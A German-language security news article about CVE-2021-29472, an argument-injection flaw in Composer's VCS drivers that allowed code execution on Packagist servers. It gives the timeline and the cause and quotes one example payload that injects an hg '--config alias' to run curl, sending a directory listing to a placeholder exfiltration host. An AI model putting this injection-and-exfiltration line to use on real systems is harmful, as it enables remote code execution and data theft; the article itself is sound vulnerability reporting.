Im Abhängigkeitsmanager Composer wurde eine kritische Schwachstelle (CVE-2021-29472) entdeckt, die es ermöglicht, willkürliche Befehle im System auszuführen, wenn ein Paket mit einem speziell gestalteten URL-Wert verarbeitet wird, der die Adresse für den Download von Quelltexten angibt. Das Problem tritt in den Komponenten GitDriver, SvnDriver und HgDriver auf, die bei der Verwendung von Versionskontrollsystemen wie Git, Subversion und Mercurial zum Einsatz kommen. Die Schwachstelle wurde in den Versionen Composer 1.10.22 und 2.0.13 behoben.
Besonders hervorzuheben ist, dass das Problem hauptsächlich das standardmäßig in Composer verwendete Paket-Repository Packagist betroffen hat, das 306.000 Pakete für PHP-Entwickler umfasst und monatlich über 1,4 Milliarden Downloads bedient. In einem Experiment wurde gezeigt, dass Angreifer, die über Informationen zu dem Problem verfügten, die Kontrolle über die Infrastruktur von Packagist erlangen und Zugangsdaten abfangen oder den Download von Paketen auf einen externen Server umleiten konnten, wodurch sie die Lieferung von Paketvarianten mit schädlichen Änderungen zur Einfügung eines Backdoors während der Installation von Abhängigkeiten ermöglichten.
Die Gefährdung für Endnutzer ist dadurch begrenzt, dass der Inhalt der composer.json in der Regel vom Benutzer selbst bestimmt wird und die Links zu den Quelltexten bei Anfragen an vertrauenswürdige externe Repositories übergeben werden. Der Hauptangriff zielt auf das Repository Packagist.org und den Service Private Packagist ab, die Composer mit von Benutzern bereitgestellten Daten aufrufen. Angreifer konnten ihren Code auf den Servern von Packagist ausführen, indem sie ein speziell gestaltetes Paket platzierten.
Das Team von Packagist hat die Schwachstelle innerhalb von 12 Stunden nach Meldung der Schwachstelle behoben. Die Forscher informierten die Entwickler von Packagist privat am 22. April, und am selben Tag wurde das Problem behoben. Das öffentliche Update von Composer zur Behebung der Schwachstelle wurde am 27. April veröffentlicht, während die Einzelheiten am 28. April enthüllt wurden. Eine Überprüfung der Protokolle auf den Servern von Packagist ergab keine verdächtigen Aktivitäten, die mit der Schwachstelle in Verbindung standen.
Das Problem wird durch einen Fehler im Code zur Überprüfung der Gültigkeit von URLs in der Hauptdatei composer.json und den Links zum Herunterladen von Quelltexten verursacht. Der Fehler ist seit November 2011 im Code vorhanden. Bei Packagist werden spezielle Schichten verwendet, um den Code ohne Bindung an ein bestimmtes Versionskontrollsystem bereitzustellen, die durch den Aufruf von „fromShellCommandline“ mit der Übermittlung von Befehlszeilenargumenten ausgeführt werden. Beispielsweise wird für git der Befehl „git ls-remote —heads $URL“ aufgerufen, wobei die URL durch die Methode „ProcessExecutor::escape($url)“ verarbeitet wird, die potenziell gefährliche Konstruktionen wie „$(…)“ oder „`…`“ maskiert.
Das Wesentliche des Problems ist, dass die Methode ProcessExecutor::escape die Sequenz „—“ nicht maskiert hat, was es ermöglichte, im URL beliebige zusätzliche Aufrufparameter anzugeben. Eine solche Maskierung fehlte in den Treibern GitDriver.php, SvnDriver.php und HgDriver.php. Ein Angriff über GitDriver.php wurde dadurch verhindert, dass der Befehl „git ls-remote“ keine Angabe zusätzlicher Argumente nach dem Pfad unterstützte. Ein Angriff auf HgDriver.php war jedoch möglich, indem der Parameter „—config“ an das Tool „hq“ übergeben wurde, das die Ausführung eines beliebigen Befehls durch Manipulation mit der Einstellung „alias.identify“ ermöglicht. Zum Beispiel konnte man für das Herunterladen und Ausführen des Codes durch den Start des Tools curl angeben: —config=alias.identify=!curl http://exfiltration-host.tld —data “$(ls -alh)”
Indem sie ein Testpaket mit einer solchen URL bei Packagist platzierten, stellten die Forscher fest, dass nach der Bereitstellung auf ihrem Server eine HTTP-Anfrage von einem der Server Packagist in AWS einging, die eine Auflistung der Dateien im aktuellen Verzeichnis enthielt.
Quelle: opennet.ru
